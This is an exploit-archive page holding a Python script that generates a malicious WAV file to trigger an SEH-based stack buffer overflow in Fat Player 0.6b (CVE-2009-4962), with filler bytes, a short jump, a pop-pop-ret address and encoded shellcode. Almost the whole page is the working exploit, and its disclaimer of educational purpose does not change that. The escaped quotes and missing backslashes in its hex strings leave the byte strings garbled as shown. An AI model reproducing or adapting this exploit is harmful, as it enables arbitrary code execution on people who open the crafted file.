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Fat Player 0.6b WAV File Processing Buffer Overflow (SEH)

Posted on 09 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Fat Player 0.6b WAV File Processing Buffer Overflow (SEH)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=========================================================
Fat Player 0.6b WAV File Processing Buffer Overflow (SEH)
=========================================================


#################################################################################################
#       Stack-based buffer overflow in Fat Player 0.6b allows remote attackers to execute
#   arbitrary code via a long string in a .wav file. NOTE: some of these details are
#   obtained from third party information.
#
#    Reference:
#       http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-4962
#       http://xforce.iss.net/xforce/xfdb/52713
#   http://sourceforge.net/projects/fatplayer/
#   http://www.exploit-db.com/exploits/9495/
#
#    Tested on: Windows XP SP3, FatPlayer 0.6b
#
#
#    This was strictly written for educational purpose. Use it at your own risk.
#    Author will not bare any responsibility for any damages watsoever.
#
#        Author:    Praveen Darshanam
#        Email:     praveen[underscore]recker[at]sify.com
#    Blog:      http://darshanams.blogspot.com
#        Date:      10th August, 2010
#
#
#################################################################################################
 
print &quot;
Fat Player 0.6b WAV File Processing Buffer Overflow (SEH)&quot;
 
buff1 = &quot;D&quot; * 4132
 
nseh = &quot;xebx06x90x90&quot;
seh_ppr = &quot;x39x1fxd1x72&quot;
#0x72D11F39      pop edi - pop - retbis msacm32.drv
 
noop = &quot;x90&quot; * 10
code2exec = (&quot;xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02xaax3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96x60xf5x71xcax06x35xf5x14xc7x7cxfbx1bx05x6bxf0x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7axcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83x1fx57x53x64x51xa1x33xcdxf5xc6xf5xc1x7ex98xf5xaaxf1x05xa8x26x99x3dx3bxc0xd9xfex51x61xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05x7fxe8x7bxca&quot;)
 
buff2 = &quot;Z&quot; * (40000 - len(buff1) - len(nseh) - len(seh_ppr) - len(noop) - len(code2exec))
mal_buff = buff1 + nseh + seh_ppr + noop + code2exec + buff2
 
try:
    fatpwav = open (&quot;fatplayerboseh.wav&quot;,&quot;w&quot;)
    fatpwav.write(mal_buff)
    fatpwav.close()
    print &quot;
Malicious WAV File Created . . . !!&quot;
    print &quot;[+] Coded by Praveen Darshanam&quot;
except:
    print &quot;
Unable to Create File
&quot;


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